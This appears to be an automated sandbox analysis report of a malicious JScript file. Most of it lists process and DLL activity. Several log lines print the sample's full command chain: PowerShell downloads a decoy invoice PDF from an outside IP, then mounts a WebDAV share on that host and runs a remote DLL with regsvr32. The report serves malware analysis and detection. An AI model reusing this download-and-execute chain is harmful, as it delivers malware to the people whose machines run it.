Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/59@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7480:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1n51asiu.btv.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241721637114311605.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1660,i,6968258112608186707,14990451332937064889,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1660,i,6968258112608186707,14990451332937064889,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\277.js.csv");ITextStream.WriteLine(" entry:7888 f:hffymphuh");ITextStream.WriteLine(" exec:2 f:hffymphuh");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
